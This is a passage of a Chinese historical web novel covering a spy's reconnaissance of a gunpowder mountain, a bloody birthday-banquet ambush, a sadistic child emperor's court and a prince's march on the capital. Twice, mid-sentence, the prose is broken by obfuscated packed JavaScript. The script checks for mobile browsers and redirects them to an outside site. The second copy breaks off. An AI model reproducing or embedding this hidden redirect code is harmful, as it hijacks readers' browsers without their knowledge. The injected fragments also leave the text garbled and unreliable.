元长安没想到神火山竟然把守的这么严密,于是故作无知道:“这神火山怎么看守的这么严?还有,这神火山到底是什么山?一直都听说神火山是潭头的神山,只是我到现在都不知道它到底是什么山。” 许穗很骄傲地说道:“神火山可是我们潭头的宝山,有它在,我们潭头百姓一辈子不愁吃喝。” “哦?那么神奇吗?”元长安继续问道。 许穗很贴心地解释道:“神火山其实就是火药山。”说完,她立马反应过来自己刚刚说了什么,然后低声对元长安道:“这件事情千万不要泄露出去,要不然会惹上大麻烦。” 元长安很识趣地连连点头,表示明白。 许穗带着元长安和王耀祖转了大概一两个时辰,天色渐渐变暗,视线也越来越黑。 “长安,三个月后,我生辰那天,你一定要来。”许穗念念不忘的,就是元长安会不会来。 元长安今天收获不少,心里很满足,所以脸色心情都很好:“一定会。” “一言为定!” “一言为定。” 王耀祖看到她们二人说说笑笑的场景,心里五味杂陈,百感交集。 回去之后,元长安找到崔涯,将自己今日在潭头转了一两个时辰的的成功,详细地说了出来,让崔涯用笔画出来。 又是漫长的一个时辰,潭头的大致地图终于画完了。 “你把这张地图,飞鸽传书给陈怀久。”元长安看完崔涯画的画,跟自己今天逛一两个时辰看到的情况差不多。 崔涯轻轻吹干纸上的墨迹,然后折叠起来。 “那你还有什么要给陈治说的吗?一会儿一起飞回去给陈治。” 元长安想了想,想了又想,道:“那你帮我写吧,就写,我每天都在喝药,没有任性。” 崔涯用难以言喻的表情,表示对元长安的嫌弃。 “还没有任性~也不知道谁天天被人催着喝药,说什么都不肯吃。如果不给她说,要给她的心上人报信,她怕是一口药都不喝。” 元长安扯了一个不好意思的笑容,“下次不会了,下次不会了。” “行了,你赶紧回去休息吧。我等一会儿就将这张地图,还有你的信,一起传过去。” “好,我走了。” “嗯。” 27.许穗生辰宴 春末夏初,是自然界最为生机勃勃的时节,万物呈现出从复苏到繁盛的转变,每一处都透露着生命的活力与希望。 清晨,阳光透过稀疏的云层,洒在刚刚泛绿的大地上,空气中弥漫着泥土和花草混合的清新气息。树木的枝条上,嫩叶已由最初的淡黄转为鲜绿,叶片边缘还挂着晶莹剔透的露珠,在阳光下闪烁着光芒。鸟儿们在林间穿梭,或是在枝头欢快地歌唱,它们的鸣叫声清脆悦耳,为这宁静的早晨增添了无限生机。 元长安再次收到陈治传来的书信,她没有很开心,反而趴在桌子上,满脸写着苦闷。 “怎么会有那么多要学的东西啊!” 崔涯端着药碗,推门进来的时候,就听到了元长安的哀嚎。他踏进房间的脚一怔,然后直接走了进来。 “陈治也是为了你好,你看你现在,脑子确实比以前聪明多了,而且还知道克制隐忍,着实让人刮目相看。” 崔涯的夸赞并没有得到元长安道回应,继续道:“多学一些东西对你来说,总归没有坏处。你呀,还是踏踏实实地学吧。” 元长安向崔涯伸手讨要自己的药碗,“崔涯,虽然我的舌头尝不出来味道,但是你能不能等药凉了再给我?每次都烫死我了。” 崔涯瞥了一眼,道:“那你就不会放到一边,等凉了再喝?再说了我,药就得趁热喝,要不然就没了药效。” 元长安看着药碗散发的袅袅白烟,咽了一口口水,然后使劲吹着那碗药,腮帮子一鼓一缩,像极了自己曾经养过的一条胖锦鲤。 只可惜,他与它情分太浅,没了缘分。 “过两天就是许穗的生辰,你有什么打算?”崔涯直接坐在元长安的对面道。 元长安被烫的舌头一阵阵刺痛,说话都有些大舌头:“毕竟是人家生辰,该表示的还是要表示一下。咱们也正好趁这个机会,进府查一查许正豪和易水教之间的关系。” “神火山的事情,有眉目了吗?”崔涯倒是难得的正经认真,“自从上次我们将神火山的地图传回上京,直到现在也没有收到什么消息。” 元长安不慌不忙道:“急什么,反正东西已经传回去了,之后该怎么做就不是我们操心的事儿。” 崔涯双手一摊:“行吧,我先回去了。” “嗯。” ----------------- 京都最近有出了一件大事。 小皇帝不知道听了谁的话,又或者想一出是一出。他建立了一个皇城司,专门负责为皇帝遍寻民间乐趣。 小皇帝不过五六岁,正是贪玩的年纪。可是,他眼中的乐趣,与老百姓眼中的乐趣相差十万八千里。 一旦被皇城司抓进皇宫,就断了自己的活路。 皇城司巡街的第一天,就替小皇帝抓了一个中风的老人。小皇帝欣喜若狂,对中风的老人研究了半天。最后下旨,用钢锯锯掉老人的头骨,看他是不是在装中风。 就这样,一个中风的老人被小皇帝活生生折磨致死,死时嘴里还说不出一句完整的话。 小皇帝的残忍,令人瞠目结舌。以至于老百姓看到皇城司,就像看到瘟神一样,避之不及。 皇宫,御花园 这几日小皇帝十分无聊,只能每天趴在凉亭里,喂着湖水里的锦鲤。 看着锦鲤圆润的体型,小皇帝脑海里又产生了新的想法,“来人,把这些鱼给朕捞上来。” 太监总管虽然尚且还明白小皇帝的用意,但老实照做是不会出错的。他连忙抬手招呼身后的太监过来捞鱼,嘴里还不停地催促道:“动作快点!” 小皇帝看着被捞上来的其中一只锦鲤,兴致冲冲道:“你们谁能将这些鱼的皮剥下来,然后鱼在水里还能活,就封你们做剥鱼三品官。” 要不说石继海是太监总管,小皇帝话音一落,他就明白了小皇帝的意图,这是又想到好玩的点子了。“陛下,老奴想试试。” “行,你来。” 到底不是厨师,没有那么好的刀工,刚下没几刀,鱼就拼命挣扎,尾巴快速扇动,然后慢慢平息,没了气息。 “陛下,老奴这手啊,真是不听使唤。”太监总管双手沾着血水,一边清洗一边道。 有了总管的开头,又有好几个人站出来,却没有一个人成功。 小皇帝看着地上死了那么多条鱼,也没了兴趣,正想回去,就听到一个尖细的嗓音并不突兀地出现在众人之中:“陛下,奴才想来试一试。” 说着,就见一位瘦弱阴沉的太监迅速出手,动作干净利落,几乎是在眨眼之间,手中的匕首已在鱼身上划过一道细微的痕迹。然而,这一刀并非致命,而是巧妙地沿着鱼鳞边缘切开,紧接着,那太监的手法变得更加稳当小心,仿佛是在进行一场精妙绝伦的雕刻。 随着他手指的舞动,鱼皮如同一件精致的外衣般被缓缓褪下,整个过程竟未见鱼儿挣扎,反而显得异常平静。当最后一刀落下,一条通体血红,依稀可见几根鱼刺的鲤鱼重新出现在众人面前,它在水中轻盈地摆动着尾巴,清水被它渲染的越来越红,越来越好。 “陛下,此为‘活鱼脱衣’,奴才献丑了。”那位太监放下手中的匕首,恭恭敬敬地跪在地上,等着小皇帝的发话。 小皇帝看到水里还在游动的鲤鱼,大为震惊:“好!好!好!”一连说了三声好,“你叫什么名字?朕重重有赏!” “奴才,王明。” ----------------- 《宦海浮沉录》的作者,洋洋洒洒为王明的传记写下了数千字。有人曾做过总结,万续三年,王明受命上任皇城司之首皇城使,凭借皇恩独揽财政大权,私自挪用国库资金修建私宅数十座,奢华程度远超常人想象。以廷尉王坤为爪牙,大肆迫害反对他的朝臣,手段之狠毒,令人闻而生畏。万续五年,开始与石继海一同操控官员的任命和晋升,官员们为了自保或谋取私利,无不趋炎附势,向二人行礼如仪,贿赂成风,权势滔天,被时人并称为:“权宦双魁”。 当然,这是后话。 ----------------- “到底是潭头的话事人,这生辰排场就是气派。”王耀祖看到热闹阔气的许宅,不由自主地感叹道。“这排场,不知道的还以为谁家娶亲呢。” 沈让没眼力见道:“现在知道你和人家的差距了吧?” 崔涯冲着沈让就是一个肘击,“没玩了是吧?” 沈让捂着被戳痛的胸口,“干!崔涯,你使这么大劲儿干什么?” 元长安听着他们的吵闹,一个转头,好像看到了一个熟悉的身影。 她刚想追过去,就听见许穗兴高采烈的声音:“长安,你终于来了!” 元长安只好作罢,将手中的礼品递给许穗身后的下人,学着陈治的模样道:“略备薄礼,还请笑纳。” 她脱口而出的八个字,倒是让崔涯刮目相看。直到他们入了座,崔涯才暗戳戳道:“可以啊长安,都会说客气话了,看来陈治那家伙对你还挺有影响的。” 元长安心里正盘算着该怎么去查神火山的事情,对于崔涯的话,她听得不是很真切,只是顺口“嗯”了一声。 另一边万少杰带着几个弟兄穿着从别处打劫到的锦衣绸缎,大摇大摆地进了许宅。 “开席的时候,别光顾着吃,眼睛盯着点。许正豪那个老贼,手上多少有点东西,到时候我们拿了就走。”万少杰压低声音道。 那几人虽然在点头应和,但是眼睛一直盯着在院子里端着菜肉来回走动的小厮。 肉香飘进他们的鼻子,直击内心的防线,全都不由自主地咽了几下口水。 万少杰怒骂道:“干!果然这老贼就不是什么好东西,我们在外面吃不饱穿不暖,他闺女过生辰做这么多肉菜!” 骂归骂,但是直勾勾的眼神还是出卖了他内心最深处的想法。 “老大,咱们先吃够本,其他的事情等吃完饭再说,怎么样?”魏坤馋肉馋了很久,当肉被端上桌的时候,他想要伸胳膊的动作欲抬又止。而且上次,万少杰把自己的糙面馒头给了两个陌生人,他那两天几乎都是饿着肚子的。 万少杰再次咽了口唾沫,低声道:“别忘了给阿娘他们带回点吃的。” “好。” 这边吃的狼吞虎咽,肯定引起了许正豪的注意。他对身边的人道:“盯着他们。” “是。” 许正豪看着正吃着尽兴的万少杰等人,嘴角上扬,好戏就要开场了。 “爹,”许穗突然出现,挽着许正豪的胳膊,“长安他们已经来了,上次长安从易水教手上救下我,您不是一直想着怎么报答他们嘛。今天正好,您快跟我来。” 说着,许穗拉着许正豪就往元长安那一桌跑。 元长安刚拿起筷子,就看到许穗拉着许正豪过来了,只得和崔涯沈让和王耀祖三人一起放下筷子站起身,异口同声道:“许大人。” 许正豪坐下之后,摆摆手示意他们坐下。四人这边刚坐下,许正豪开门见山道:“你们是从京都来的吧?” 崔涯一怔,第一时间看向元长安,而元长安也没想到许正豪会这么问。沈让和王耀祖像是什么都没听见一样,大口吃着肉。 “回许大人,正是。”这种场合,还是崔涯交谈比较靠谱,元长安学着沈让还有王耀祖,大口吃肉吃菜。 许正豪接着道:“我那侄子许文达,可曾听说过?” 崔涯不解其意,“听说过。” “你们和他什么关系?”许正豪眼神突然变得犀利,盯着崔涯的时候,让后者浑身不舒服。 “我们和许侯爷没有什么关系。他是侯爷,我们是草寇,怎么可能有关系?”崔涯面不改色,但是后背已经感觉到一阵凉意。 许正豪没有再继续追问下去,也不知道他是信还是不信。他转身举起酒杯,朝着元长安道:“你们救了我女儿,就是我许家的救命恩人。在潭头,不管遇到什么事情,只要你们开口,我许正豪一定给你们解决。” 元长安和王耀祖皆受宠若惊地端起酒杯,同声道:“举手之劳,何足挂齿。” “哎,此言差矣。穗儿是我许正豪手中的宝,平时最是宠爱,她若出了什么事情,我就是丢了半条命。”许正豪谈起许穗,声音柔和,少了几分凌厉的气势。 许穗脸上写满了得意,但是看向元长安的时候,眼中满是笑意。 生辰宴进行到一半,万少杰将手里的鸡腿往桌上一丢,用袖子摸了摸嘴巴上的油水:“别吃了,干正事!” 魏坤刚拿起万少杰丢在桌上的鸡腿往嘴里塞,就听见他的话。他咽下嘴里的肉,口齿有些不清楚道:“找什么急啊,再吃几口,你不饿我们还饿呢。” “吃吃吃,就知道吃!”万少杰一巴掌拍在他的后脑勺上,“我告诉你魏坤,你要是耽误正事,我让你下半辈子一点肉都不能碰。”说完,直接抢过他手中的鸡腿,丢在了地上。 魏坤看着地上的鸡腿,满脸惋惜,但又敢怒不敢言。“知道了。” 他们几日偷偷摸摸地来到许宅后院,后院只有屈指可数的家丁来回走动。万少杰猫着腰,特意压低声音嘱咐道:“我们分头行动,一定要找到许老贼的神火山令牌,要不然我们的村民可就没有活路了!” “明白!” 他们这边刚一起身,突然一群家丁从四面八方跑了出来,将万少杰等人团团围住。 “我果然没有猜错,你们真的来了。”许正豪从家丁让出的道走向万少杰等人,脸上挂着得意的笑,模样和许穗如出一辙。 万少杰往地上吐了一口唾沫,狠狠道:“老贼,我们来了又怎么样?你霸占神火山,和邪教狼狈为奸,早晚会遭到报应的!” 许正豪不知道听过多少次这种话,反正已经没了情绪,“报应?你我二人还不知道谁先遭到报应呢?来人!” 一声令下,只见几个家丁拿着几个被血淋淋的蓝布包裹的东西,往地上一丢。人头滚动,那双死不瞑目的眼睛,倒映着怒吼的万少杰:“阿娘!阿姐!” “万少杰,你屡次三番带着这群不要命的贱民,坏了我不少好事。我能让你活到现在,已经是我最大的忍让。今天你自己闯上门来,就不要怪我手下不留情!给我杀!” 万少杰双目猩红,死死地盯着许正豪那张奸邪的脸。魏坤见那么多人,手里握着环首刀,连忙将自己的那把不知道有多少豁口的弯刀丢在了地上,笑着求饶道:“我是被逼的,是万少杰硬逼着我来的。许大人,您大人有大量,饶了我吧。” “魏坤!”万少杰没想到魏坤竟然会说出这种话,他的眼睛早已含满了泪水,“我阿娘和阿姐待你不薄!” 魏坤就像是没有听见,直接跪在地上求饶:“许大人,饶了……” 然而许正豪并没有给他活命的机会,直接一刀砍下他的脑袋。“啰嗦!” 万少杰已经被仇恨蒙蔽了双眼,越战越勇,但是身上也多了好几道刀伤。就在他身边的弟兄全部倒下,而他也迎来致命一刀的时候,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301045|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把长枪横空出现,一枪捅穿了那个人的身体。万少杰震惊地看向长枪飞来的方向,却看到了一个熟悉的人。 元长安突然出现在万少杰身旁,手中的伸缩长枪如同灵蛇般伸缩自如。她猛地向前一刺,枪尖精准地挑飞了一名家丁手中的环首刀,紧接着枪身迅速收缩,挡开了另一名家丁的致命一击。 “万少杰,跟我走!” “好!” 万少杰不疑有他,趁机发动攻势,他的拳法刚猛有力,每一击都带着破空之声。 不等许正豪反应,崔涯、沈让和王耀祖也从前院闯了进来,“前院已经出不去了,赶紧跳墙走!” 元长安和万少杰对视一眼,然后相□□头表示同意。于是在许正豪的眼皮子底下,他们四个翻墙跑了。 许正豪气急败坏,“给我追!” “不许追!”许穗突然跑了过来,挡在许正豪的身前,“爹,您要是去追长安,我就死给你看!” 许正豪恨铁不成钢,但又无可奈何,只能咬着牙下令道:“都回来。” ----------------- 逃出升天的元长安五人,站在距离许宅不远处的山头上,看着热闹喜庆的许宅,万少杰狠狠地锤向身旁的树干,手指关节血肉模糊。 “与其无力悲愤,还不如养精蓄锐,以待报仇雪恨。”元长安很清楚他现在的心境,但沉浸悲伤不是一件好事,还不如手刃仇敌来得痛快。 万少杰摸了一把眼泪,声音哽咽道:“我知道,我不会让我阿娘阿姐还有村民们白死的!” 元长安背对着万少杰,两侧站着沈让、崔涯和王耀祖。她双肩扛着长生枪,道:“今天虽然没有找到想要的东西,但是你要不要跟我走?” 万少杰望着元长安的背影,那一刻她是那么的高大,那么的值得他信任。 “要!” ----------------- 小皇帝的行为越来越放肆,以致京都百姓苦不堪言。而郑枫也是越来越摸不准尤太后和小皇帝的想法,直到他手下一员大将招惹了尤太后的远方堂妹,他才彻底明白尤太后和小皇帝的打算。 王明成了尤太后和小皇帝身边的宠臣,与石继海平起平坐,可见其手段高明。 最近尤太后闷闷不乐,也没有什么食欲。找了太医号脉,他也说不出个所以然来。然而,别人不明白怎么回事,身为太后和天子的近臣,王明不会不知道。 御花园中,王明恭恭敬敬地搀扶着尤太后,赏花闻香。然而,一处不起眼的地方,一小丛野草吸引了尤太后的注意。 “这野草怎么会出现在御花园里?破坏了花园美感,还不快点处理掉。” 王明心领神会,回道:“太后放心,野草很好清理,奴才一定会为太后斩草除根!” 尤太后对王明的聪明很满意,但也稍加提点:“哀家最近刚看了一台戏,说是一猎户常年打雁,却有一天被大雁啄了眼睛。” 王明立马明白尤太后的意思,道:“太后放心,奴才保证给您办的漂亮。” 就在这时传来小皇帝读书的声音:“……忮求念胜,图名利,到底逊人;恻隐心多,遇艰难,中途获救……” 尤太后并没有因为小皇帝的好学而感到高兴,她的手不露声色地放在小腹上,“走吧,别打扰陛下读书。” 三日后,大将军秦平调戏尤氏女,并杀害其夫君一事,在京都传的沸沸扬扬。尤太后于朝堂之上,公然大怒,怒斥秦平,暗讽郑枫。 陈治与许文达对桌饮酒,谈起此事。陈治道:“这件事情绝对没有那么简单,不出三日,我们大晋的摄政王一定会返回安阳,远离京都。” 许文达挑眉道:“怀久就这么确信,郑枫会返回安阳?” 陈治用手指蘸取杯中的酒水,在桌面上画了一个简单的图像,“北方异族已经发生了内乱,此时出兵正是平定北方叛乱的好时机。平定北方叛乱,郑枫的势力将会进一步扩大,我不相信郑枫不明白这个道理。再加上,因为尤太后授意,石继海和王明二人早已经将京都的大部分官员换成了自己人。郑枫这时候还选择京都,已经没有任何利可图。而且说到底,现在的天下还是他们郑家人的天下,争与不争,他们的敌人,永远是尤家人。” “尤秉华最近正春风得意,打了几场胜仗,尤氏又赐了不少恩典。尤其是封他为太尉,位列三公,不知道惹了多少人眼红。”许文达小酌一口,突然转了话题:“元长安可有来信?” 陈治微微一怔,回道:“有,不过是说些琐事罢了。” 许文达点点头,应该是信了他的说辞:“元长安这丫头,甚得老瞿的心。自从她去了清灵郡,老瞿不知道在本侯跟前说了多少次,让她回来。本侯也见过那丫头的武艺,确实难得,多加磨练,他日将是战场上不可多得的大将。” 对于夸赞元长安的话,在陈治听起来,比夸赞自己还顺耳:“侯爷谬赞,长安还太年轻了。” “年轻好啊,年少轻狂,少年意气。”许文达感慨道。 两日后,郑枫自请回安阳,平定北方异族。 ----------------- 京都迎来了春天最后一场雨,这场雨带来了几分凉意,也增添了几许哀愁。天空灰蒙蒙的,乌云密布。 雨滴细密而绵长,轻轻地落在青石板铺就的街道上,溅起一圈圈细小的水花。街边的柳树在雨中摇曳,翠绿的枝叶被雨水打湿,更显得生机勃勃。然而,这份生机背后,却隐藏着一种说不出的凄凉。 皇宫的高墙内,雨声淅沥,回荡在空旷的殿堂中。尤太后的寝宫里,烛火摇曳,映照出她忧虑的面容。她站在窗前,凝视着外面的雨景,心中充满了复杂的情绪。这场春雨像是天意的警示,提醒着她身边危机四伏的处境。 宫门外,巡逻的士兵披着蓑衣,手持长矛,步伐沉稳地在雨中前行。雨水顺着他们的帽檐滴落在地,化为无形。 市井街道间,商贩们纷纷收起了摊位,行人匆匆赶路,尽量避开这场突如其来的春雨。孩子们躲在屋檐下,好奇地望着雨滴落下,偶尔伸出小手去接几滴雨水,脸上洋溢着纯真的笑容。 京都某处小院,陈治坐在书桌前,手中握着毛笔,凝视着窗外的雨景,他的眼中闪过一丝忧虑。雨水滴落在院中的石桌上,发出清脆的声音,仿佛在诉说着什么。他提笔写下一行字:“长安,下雨了。” 远在清灵郡的元长安,感受着细密的雨丝,心中想的却是:陈怀久,下雨了。 28.恒王入京都 “砰!”的一声巨响,一处本来平静的小山村瞬间被大火覆盖,火势迅速蔓延,村民死伤惨重。 元长安着实被吓了一跳,周围的沈让崔涯等人,反应和她一模一样。 “这就是从神火山上采集的神火石,制造而成的神机炮。”万少杰站在元长安身边,给她解释道。 “我的老天爷啊,长安,要是这东西归我们所有,以后在战场上就是无所匹敌。”沈让激动地都要跳起来。如果不是因为他们现在乔装隐藏在许正豪的私兵之中,他怕是已经上去摸一摸那架所谓的神机炮。 崔涯放下捂着耳朵的手,道:“神火石的采集很困难,而且像刚刚那一炮,价值千金。” 沈让一听价值千金,激动的心瞬间平息。 “不管怎么说,今天咱们也算是见识了神机炮的威力,以后的事情以后再说。”元长安嘴上虽然说得很轻松,但是眼睛一直没有离开过神机炮。 ----------------- “我那个族叔,可有什么消息?”许文达和高望同桌对弈,“元长安他们现在,可否能拿下那个易水教?” 高望落下一子,道:“那要看侯爷什么时候,给他们送去援军。” “高先生认为,什么时候最为合适?”许文达举棋围堵,反问道。 高望笑道:“侯爷好棋艺,在下甘拜下风。” “高先生承让了。”许文达笑不达眼底,“七日后的清灵郡,本侯就交给高先生了。” 高望起身行礼道:“遵命。” 而身处暗巷的陈治,正陪同沈清棠为崔永怀诊病。 “阿姐,崔老先生的病情怎么样?”陈治急切地问道,毕竟是爷爷的旧友,再加上这些天的相处,他早已将崔永怀当做自己的长辈。 沈清棠号完脉,脸上是轻松轻松笑意:“崔老先生的身体并没有什么大碍,就是这天气一冷一热的,容易得风寒。怀久,你随我抓些药来。” 陈治点头道:“好。” 出了房门,沈清棠重重地叹了一口气:“怀久,崔老先生的身体,怕是撑不过三个月。” 其实陈治早就有所察觉,只是不愿意相信罢了。 “怀久……” 陈治突然想到陈氏被灭门的那一天,亲人一个个倒在他的面前,可他却无能为力,甚至是自身难保。 天之佑他,逃出生天。可当他听到崔老先生曾与自己的爷爷同朝为官的时候,那一刻,他就看到陈氏曾经的荣耀,以及自己存活的意义。 “阿姐,就只有三个月了吗?”陈治难以相信,却又不得不相信,“崔老先生,是个好人啊。” 然而,沈清棠却道:“怀久,存在于动乱,人就不分好坏。” “阿姐……” 当陈治整理好自己的情绪,推门而入,看到的是崔永怀依靠拐杖站在窗前,望着一棵已经枯萎的老树。 “崔老先生。” 崔永怀开口道:“陈小子,你不是等闲之辈,日后必有作为。但老夫还是想奉劝你一句,局势之动荡,官场之险恶,应当远离。” 陈治安安静静地听着,没有搭话。 “国之用士,犹医之用药也。无固定之贤愚,唯在君上之识见权衡。夫贤非自封,愚亦非天定,贤与不贤,实乃时势造就,君心裁定。 故贤者,适时而起,济世安民,君倚重之,则国兴焉;不贤者,乖时而动,扰政乱纪,君察明之,则国治矣。 是以,贤则用之,其功可期;奸则黜之,其害可止。然究其根本,贤奸之道,非臣子自择,皆系于上之所向,主之所断。” 崔永怀的这句话,似是在说给陈治,又像是在说给自己听。其中的心思,怕是只有他自己才明白。 “怀久,谨记。” 崔永怀终究是没有撑到三个月,一个月后,病情复发。弥留之际,他双目无神,但是口齿清晰:“我这一生,无愧于君,无愧于民,亦无愧于心。可最终却落得一个,满门尽灭。望他日天下太平,还我崔家以公道!还我崔家以清明!” 公元九八年,一代名臣就此落幕。可他不能立碑,不能哭丧。因为,崔永怀已经死在了十年前。 《大晋列传》中记载:“崔永怀,字恩泽,厉阳清阳人也。初任定襄太守,常察民瘼,兴利除弊。尤在定襄任上,督属吏筑堤防洪,以防曲河泛滥之患,使黎庶得以安居乐业。又劝谕富民减价粜粟,开仓赈济,施官粥以救饥民,存活者不可胜数。 及至厉帝正平年间,定襄连遭旱涝之灾,民不聊生。崔永怀以府州报缺粮之家,按额支给官粮,俟秋收后偿之。对于老弱病残及贫苦之民,蠲其逋负,开仓赈济,施官粥以救饥馑,复劝富民减价粜粟。此等举措,实有效缓解灾荒之困,保障民生。 正平六年,崔永怀升任右丞相,在政事上主张整饬吏治,严惩贪蠹,倡勤政爱民。在任时,屡次巡行郡县,察访民情,劾奏不法之吏,以维持纲纪,伸张正义。 崇顺四年,亡于宵小,” ----------------- 万续二年,聂鸿生再次起兵。于此同时,恒王麾下大将吴永善、严峰于临川、京都交界之地天井关多次军事演练,引起朝廷重视。 同年,尤太后代下圣旨,封许文达为大将军,南下平乱。 随许文达一同出京的,还有一支神秘的军队。 陈治与城中百姓一起,目送着许文达的大军。 城中的百姓站在道路两旁,孩童紧紧握住母亲的手,妇女们低声祈求着平安归来。而在这人群中,有一位白发苍苍的老者,他拄着拐杖,目光越过出城的士兵们,望向远方。岁月在他的脸上刻下了无数沟壑,此刻他的眼中流露出无尽的沧桑与无奈。 “唉,”老者轻叹一声,“这天下何时才能太平?为什么就不能让百姓过上安宁的日子?”声音虽小,仿佛是对天地间所有不公的质问,却一直萦绕在陈治的心中。 陈治在这一刻,在心里反问自己,他的所图。 报仇?他活着就是为了报仇。 太平?可是天下何时才能太平? 入仕为贤臣?可朝堂之上,没有真正的贤臣,贤与不贤由不得臣。 “长安,我想不明白。” 当他再次回到暗巷,经过那一条条狭窄曲折的小巷。这里的房屋多是用破旧的木板和稻草搭建而成,屋顶上长满了青苔,墙壁上布满了裂痕,仿佛随时都会倒塌。这些简陋的小屋拥挤在一起,阳光几乎无法直射进来。 原来,在一座繁华国都的背后,隐藏着不少不为人知的角落。 这是他第一次,认真、平心静气地去感受这处与国都不相符的暗巷。 ----------------- 元长安看到来人是高望的瞬间,脸上尽是失望。 “长安,这是瞿正清那个老东西给你写的信。”高望知道她在失望什么,没有看到陈治,也没有看到瞿正清:“陈治在京都还有其他的事情,所以不能来。” 元长安接过瞿正清写的信,并不言语的默读着信笺上的字。不得不说,瞿正清的字和他画的画,异曲同工。 “长安,干就完了!”元长安认真仔细地辨认,也才认出来这六个字。 “看得头疼。”元长安还是没忍住,“陈怀久在京都,应该还好吧?” 高望似乎并没有感到意外:“他很好。” “那就好。”元长安没有再追问,转而说道:“许正豪、易水教还有神火山的事情,你直接去问崔涯,他能给你说明白。” “嗯。” 高望前脚刚走,王耀祖和万少杰后脚就过来了。 “小元爷,是不是要开干了?”万少杰学着王耀祖,叫起了小元爷。原本他是不屑的,奈何元长安太强,他心生敬佩。 王耀祖犹豫不决,在万少杰第三次戳他后腰之后,才开了口:“小元爷,许…许大小姐,她…她……” 元长安明白他想说什么,“你自己做出的决定,没有任何人可以动摇。” “小元爷……” 元长安打断了他的话,“万少杰,我们走。” 王耀祖望着元长安离去的背影,垂落的双手握紧又松开,他内心的挣扎,无人可知。 当他在大街上遇到骑在高头大马上的许穗时,王耀祖刚抬起的脚,又慢慢落下。因为他看到,许穗只是不经意地扫了他一眼,然后很快收回了目光。 在许穗眼里,王耀祖就是和这大街上人来人往的百姓是一样的,一样的无足轻重。 许穗的身影越来越远,王耀祖拔腿就追了上去,硬生生拦在她的面前。许穗猛地一拉缰绳,马匹受惊,差一点将她摔在地上。 “你是谁啊?想死就死远点。”许穗皱着眉头,一脸不悦,说话也是厉害。 王耀祖咽了一口口水,平复好心情,组织好语言:“能不能给我一点时间,我有话,要对你说。” 许穗不耐烦道:“有什么话就在这里说。” “这里人太多了,”王耀祖环视周围因为他突然拦马而围聚的人,“有些话不适合在这里说。” 然而,许穗并没有在意,她一甩马鞭,“本小姐没时间陪你玩,滚!”说罢,扬鞭而去,留下王耀祖站在大街上受人指点。 许穗在潭头,就像一颗耀眼的明珠,明媚又张扬。或许,命运使然,许穗不屑,王耀祖怯懦。 ----------------- 万续二年夏,许文达与瞿正清在卧龙坪与聂鸿生对战,连战三场,两胜一负。聂鸿生屡战屡败,士气低落,许文达渐呈大胜之势。然正当此时,恒王麾下大将吴永善与严峰率黑甲兵越天井关,直扑尤秉华防线。黑甲兵初遇金卫兵,便大败而归,丢盔弃甲,溃不成军。尤秉华闻讯大喜,急于建功,不顾部下劝阻,亲率兵马追击残敌。孰料,此举正中敌军圈套,尤秉华及其部众陷入数万大军的重重包围之中。 六月的骄阳无情地炙烤着大地,空气闷热得令人窒息。在这片荒凉的平原上,一支疲惫不堪的军队静静地等待着命运的裁决。四周,黑甲兵的旗帜随风飘扬。 尤秉华站在队伍的最前端。他的盔甲虽然光鲜亮丽,但在阳光下却显得格外刺眼。然而他的脸色苍白,眼神中充满了恐慌。原本自信满满、野心勃勃的他,如今却因为自己的急功近利而将自己和士兵置于险境。他的心中充满了恐惧,但这份恐惧并非为了他的士兵,而是为了他自己。 “只要能够立下大功,荣华富贵唾手可得。”这是他出发前的豪言壮语。 现在的他和他的小部队被困在这里,四周是黑甲兵高声的呐喊,身后是没有退路的绝望。 随着黑甲兵的步步紧逼,尤秉华的心跳加速,汗水顺着脸颊滑落。他开始后悔,但这份后悔并不是因为担心士兵们的安危,而是因为自己的贪生怕死。他在心中一遍遍地想着:“如果我不那么急功近利,现在就不会面临这样的绝境。我还可以享受荣华富贵,而不是在这里等死。” 士兵们感受到了将军的恐惧,士气更加低落。有些人开始偷偷地寻找逃跑的机会,但很快就被黑甲兵的箭雨击倒。战场上,惨叫声此起彼伏,鲜血染红了大地。 尤秉华试图振作精神,指挥士兵们进行最后的抵抗,“将士们,随本将军杀出重围!”但他的声音颤抖,命令也显得软弱无力。士兵们眼中的信任逐渐消失,取而代之的是绝望和愤怒。 夕阳西下,天边的云彩被染成了血红色。在这最后的时刻,尤秉华依旧不甘心。“我是大晋的太尉,位列三公。我姐姐是当朝太后,我侄子是当今皇上。我不会死,我不能死。” 随着最后一波黑甲兵的冲锋,尤秉华和他的军队被彻底淹没在了这片战场之上。 这场战斗结束后,黑甲兵迅速撤离,这片土地上,就只剩下一片死寂和凄凉——无数的尸体和残破的兵器,偶尔还有风吹过时发出的呜咽声。 尤秉华兵败身亡的消息传回京都,尤太后直接瘫软。若不是永清公主陪在身侧,后果不堪设想。 “清儿,快,快去叫来尤丞相,快去!” 永清知道事情的严重性,话不多说,直接让人快马加鞭,召尤丞相入宫。 ----------------- 远在清灵郡的高望下达完最后一道指令,对元长安他们几人说道:“易水教的那些人,我就交给你们了。不过,你们只有五百人,够不够?” 这话正和元长安的意思,“够,高先生尽管放心。” 高望就算不放心,都到这个份上了,也只能死马当活马医。 ----------------- 七月朔日,许文达凯旋而归,聂鸿生败走至上饶。然许文达率军途经厉阳之时,竟下令驻兵休整,不顾尤太后与小皇帝连发九道圣旨催促进京。 “许文达要反!”尤太后就算再傻也已经有所察觉,只可惜一切都太晚了。 许文达暂留厉阳郡,尤秉华已战死。今京都易攻难守。恒王不再蜗居临川,高举扶正幼帝的旗号,举兵入京。七月庚子日,恒王攻破京都最后一道防线,马踏皇城。 而给郑吉开城门的,正是石继海和王明。 尤太后抱着小皇帝端坐在宣德殿之上,面带凝重,静静地等待着恒王的到来。殿外,宫女太监们惊慌失措,四处奔逃,有的躲在柱子后面,有的跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 